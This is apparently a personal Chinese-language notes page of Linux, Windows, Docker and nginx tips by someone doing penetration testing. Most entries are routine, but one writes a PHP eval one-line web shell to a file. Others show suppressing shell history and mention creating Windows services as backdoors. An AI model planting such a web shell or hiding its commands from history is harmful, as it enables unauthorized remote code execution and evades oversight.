CentOS 7 编译安装nginx,如何将其加入到服务(nginx.service)?

  1. # 默认编译安装到/usr/local/nginx
  2. # 在 /usr/lib/systemd/system/目录下创建服务
  3. cd /usr/lib/systemd/system/
  4. touch nginx.service
  5. vim nginx.service
  6. # 添加如下内容
  7. [Unit]
  8. Description=nginx - high performance web server
  9. Documentation=http://nginx.org/en/docs/
  10. After=network.target remote-fs.target nss-lookup.target
  11. [Service]
  12. Type=forking
  13. PIDFile=/usr/local/nginx/logs/nginx.pid
  14. ExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.conf
  15. ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
  16. ExecReload=/bin/kill -s HUP $MAINPID
  17. ExecStop=/bin/kill -s QUIT $MAINPID
  18. PrivateTmp=true
  19. [Install]
  20. WantedBy=multi-user.target

Linux 写入/usr/lib/systemd/system/xxx.service 不生效解决办法

  1. systemctl daemon-reload

nginx 如何配置Basic认证?

配置nginx,新增server节点
针对es 配置 nginx basic 认证

  1. server {
  2. listen 9201;
  3. server_name elasticSearch;
  4. location / {
  5. proxy_pass http://127.0.0.1:9200/;
  6. auth_basic "nginx basic http for es";
  7. auth_basic_user_file conf.d/passwd;
  8. autoindex on;
  9. }
  10. }

再使用 openssl 或者htpasswd 生成密码文件(推荐使用openssl,系统自带,htpasswd可自行查询),格式如下:
此处conf.d/passwd 是在/usr/local/nginx/conf/conf.d/passwd

  1. # openssl(默认自带)
  2. printf "your_username:$(openssl passwd -crypt your_password)\n" >> conf.d/passwd

生成密码之后,使用如下命令检查配置文件是否正确

  1. nginx -t

重启nginx

docker Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

背景

由于尝试做docker api 未授权rce 漏洞,将docker.service 中的ExecStart 修改成了对外开放2375端口,最后测试完毕之后,将注释去掉之后,systemctl daemon-reload 之后启动成功之后,报错如下:

  1. Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

且查看 systemctl status docker ,发现目标为active:running,且无/var/run/docker.sock文件

解决办法

将fd:// 更改为 unix://,然后重新加载systemctl daemon-reloadsystemctl restart docker
image.png

Docker启动镜像

在docker 中 要找一个新的镜像,我们首先要查看需要下载的镜像,这里以mysql举例

  1. docker search mysql

image.png

  1. docker pull mysql

拉取完成之后,查看所有的镜像

  1. docker images -a

image.png

启动镜像

  1. docker run -p 本机映射端口:镜像映射端口 -d --name 启动镜像名称 -e 镜像启动参数 镜像名称:版本
  2. # -p 本机端口和容器端口映射
  3. # -d 后台运行
  4. # --name 容器名称
  5. # -e 镜像启动参数

例:https://hub.docker.com/_/mysql

  1. docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag

查看相关参数从hub.docker.com 中寻找,或者网传使用runlike

  1. docker run -p 3306:3306 -d --name mysql-aaron -e MYSQL_ROOT_PASSWORD=admin mysql:latest

运行完之后就可以看到容器已经启动
image.png

Docker清除缓存

  1. docker system prune --volumes

umount devices is busy?

NFS未授权挂载经常会出现此类问题
原因:因为有多个进程在使用,所以无法取消挂载,当将所有的进程kill掉之后,再umount即可
使用fuser命令罗列出pid

  1. fuser -v -m <mount_dir>

-v 表示 verbose 模式。进程以 ps 的方式显示,包括 PID、USER、COMMAND、ACCESS 字段
-m 表示指定文件所在的文件系统或者块设备(处于 mount 状态)。所有访问该文件系统的进程都被列出。

linux history添加执行的时间

bash shell

编辑/etc/profile
在最下方添加

  1. HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S"

保存后退出,执行

  1. source /etc/profile

效果如下
image.png
zsh 不需要配置,只需要执行

  1. # 标准日期
  2. history -i
  3. # 英文日期
  4. history -E

image.png

登录shell,执行命令使其不保存至history?

  1. set +o history

image.png
image.png

如何查看文件md5,sha1,sha256等(主要是windows)

Linux

在linux中,查看文件md5,sha1,sha256等等都很简单,只需要键入命令

  1. md5sum output
  2. b5cd11c42c9031cad6515ff62f4e03ac output
  3. sha1sum output
  4. 6c2c76a15c272db2b582e8f7d47c1f64b9b2f32c output
  5. sha256sum output
  6. a4ed89f176e5200ebe571631bd2fdb0d6e18a9ce7b5d78eb69b4a3abd538898b output

windows

  1. certutil -hashfile <filename> MD5
  2. certutil -hashfile <filename> SHA1
  3. certutil -hashfile <filename> SHA256

windows 新建删除服务

常常用作后门

删除服务

  1. sc delete 服务名称

新建服务

  1. sc create monitor binpath= "可执行文件exe绝对路径 --service -r 可执行文件根路径" displayname= "监控文件夹" start= auto
  2. # sc create monitor binpath= "D:\Software\OtherTool\MonitorFolder.exe --service -r D:\Software\OtherTool" displayname= "监控文件夹" start= auto

Linux 安装pip2,pip3

  1. // pip2
  2. wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
  3. python2 get-pip.py
  4. // pip3
  5. wget https://bootstrap.pypa.io/get-pip.py
  6. # 如果这里报错 ModuleNotFoundError: No module named 'distutils.util'
  7. # 执行如命令
  8. apt install -f
  9. apt-get install python3-distutils
  10. python3 get-pip.py

Linux 更新pip2 pip3

  1. python2 -m pip install --upgrade pip
  2. python3 -m pip install --upgrade pip

Linux 启动IDEA 报错 Error opening zip file or JAR manifest missing : /home/luogan/.jetbrains/jetbrains-agent-v3.2.0.de72.619 Error occurred during initialization of VM

背景

重装了idea,之前使用激活工具激活

  1. find / -name "*vmoptions*"

image.png
删除/home/${User}/.IntelliJIdea2019.3/即可

Linux 配置开机自动挂载硬盘

背景

由于公司新发的thinkpad是SSD + HD ,我将操作系统装在了固态硬盘上,但是固态硬盘只有128G,HD却有500G,所以我只有格式化硬盘,将其挂载到我的硬盘上,具体如下所示
首先我们知道Linux是文件系统,硬盘也不例外,硬盘的标识是在/dev/sda0-6

  1. sudo fdisk -l

image.png
可以看到我这里的硬盘是/dev/sda1,那么我将其挂载上的命令如下

  1. sudo mount /dev/sda1 /my_HD
  2. mount | grep my_HD

image.png

  1. df -h

image.png
手动挂载虽然也行,但是毕竟不是服务器,不会不关机,那么就需要开机自动挂载硬盘

自动挂载

使用blkid命令查看磁盘uuid

  1. sudo blkid

image.png
可以看到/dev/sda1就是我的硬盘,Type是ext4,需要关注一下Type,linux 分区一般为 ext4,windows 分区一般为 ntfs
编辑/etc/fstab,将分区信息写入 /etc/fstab 文件启动自动挂载

  1. sudo vim /etc/fstab

image.png

  1. UUID=744c071c-5e78-4dab-9d4c-cac5ea8e975d /my_HD ext4 defaults 0 1
  1. 注:<fs spec> <fs file> <fs vfstype> <fs mntops> <fs freq> <fs passno>
  2. <fs spec>:分区定位,可以给UUIDLABEL,例如:UUID=6E9ADAC29ADA85CDLABEL=software
  3. <fs file>:具体挂载点的位置,例如:/data<fs vfstype>:挂载磁盘类型,linux 分区一般为 ext4windows 分区一般为 ntfs
  4. <fs mntops>:挂载参数,一般为defaults
  5. <fs freq>:磁盘检查,默认为0
  6. <fs passno>:磁盘检查,默认为0,不需要检查
  7. 第一个叫fs_freq,用来决定哪一个文件系统需要执行dump操作,0就是不需要;
  8. 第二个叫fs_passno,是系统重启时fsck程序检测磁盘的顺序号 1 root文件系统,2 是别的文件系统。fsck按序号检测磁盘,0表示该文件系统不被检测 dump 执行ext2的文件系统的备份操作 fsck 检测和修复文件系统

修改完成之后,执行

  1. sudo mount -a

rpm 包与 deb包相互转换

  1. sudo apt intall alien
  2. sudo alien XMind-for-Linux-x86-64bit-11.0.1-202106220606.rpm

image.png

Linux 执行命令时错误返回在shell时,如何将其去掉?

一般正常情况下,shell会将所有的信息返回回来,如果此时需要去除错误,只需要执行成功的信息,只需要将错误重定向到某个文件即可,我在DNS隧道反弹shell总结过,其中xxx 表示执行的代码,2表示错误

  1. xxx 2 > error

windows 和 Linux shell的转义符

写一个一句话

  1. # windows
  2. echo ^<?php @eval(^$_POST['cmd']); ?^> > test.php
  3. # Linux
  4. echo "<?php @eval(\$_POST['cmd']);?>" > test.php
  5. echo \<\?php \@eval\(\$_POST\[\'cmd\'\]\)\;\?\> > test.php

image.png
image.png
image.png

windows、Linux 在终端中如何设置临时代理

临时代理设置如下

windows

cmd shell

  1. set http_proxy=127.0.0.1:10809
  2. set https_proxy=127.0.0.1:10809

powershell

  1. $env:HTTP_PROXY="127.0.0.1:10809"
  2. $env:HTTPS_PROXY="127.0.0.1:10809"

Linux

  1. export http_proxy=127.0.0.1:10809
  2. export https_proxy=127.0.0.1:10809

Linux 更新系统字体

首先下载tff文件
然后执行如下命令

  1. sudo mkdir /usr/share/fonts/msyh
  2. sudo cp *.ttf /usr/share/fonts/msyh/
  3. sudo fc-cache -fv

JDK1.7 在macos版本的idea 运行警告

  1. /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA.app/Contents/lib/idea_rt.jar=63173:/Applications/IntelliJ IDEA.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/htmlconverter.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-doclet.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/lib/tools.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/Project/target/classes:/Users/aaronluo/.m2/repository/org/javassist/javassist/3.19.0-GA/javassist-3.19.0-GA.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections-3.1/commons-collections-3.1.jar:/Users/aaronluo/Documents/CodeReview/JavaCode/commons-collections4-4.0/commons-collections4-4.0.jar com.myproject.TestCC7
  2. objc[20911]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/bin/java (0x1081794c0) and /Library/Java/JavaVirtualMachines/jdk1.7.0_80.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10833f4e0). One of the two will be used. Which one is undefined.
  3. Process finished with exit code 0

image.png
该问题主要出现于 Mac 版本的 IntelliJ IDEA 之中,而引起该问题的原因,则是 Mac 中 JDK 的一个 BUG,如果你是jdk1.8.0_152之前的版本。它是由启动应用程序时 IDE 使用的 Java 代理触发的,此警告是无害的,我们可以安全地忽略,并且该问题已经在后续的 JDK 中得到了解决。

解决方式

既然该问题是由于 IDEA 启用代理引起的,那么我们禁止 IDEA 启动代理,即可解决该问题。
image.png
image.png
添加如下所示,并重启idea即可

  1. idea.no.launcher=true

当然还可以升级JDK 到1.8.0_152+

MacOS docker 换源

安装好macos 下的docker 之后,直接点击Preferences,或者在桌面版点击齿轮图标,选中Docker Engine
image.png
image.png
修改如下

  1. {
  2. "debug": true,
  3. "experimental": false,
  4. "registry-mirrors": [
  5. "https://docker.mirrors.ustc.edu.cn",
  6. "https://hub-mirror.c.163.com"
  7. ]
  8. }

image.png
最后点击右下角的apply & Restart
在命令行执行docker info命令就可以看到换好后的源

Kali 2019.4 换源之后,apt update 报错

  1. root@kali:/usr# apt-get update
  2. 获取:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease [30.5 kB]
  3. 错误:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease
  4. 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
  5. 已下载 30.5 kB,耗时 0 (32.6 kB/s)
  6. 正在读取软件包列表... 完成
  7. W: 校验数字签名时出错。此仓库未被更新,所以仍然使用此前的索引文件。GPG 错误:http://mirrors.ustc.edu.cn/kali kali-rolling InRelease: 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
  8. W: 无法下载 http://mirrors.ustc.edu.cn/kali/dists/kali-rolling/InRelease 下列签名无效: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>

解决方案
从官网下载签名并安装

  1. wget archive.kali.org/archive-key.asc
  2. apt-key add archive-key.asc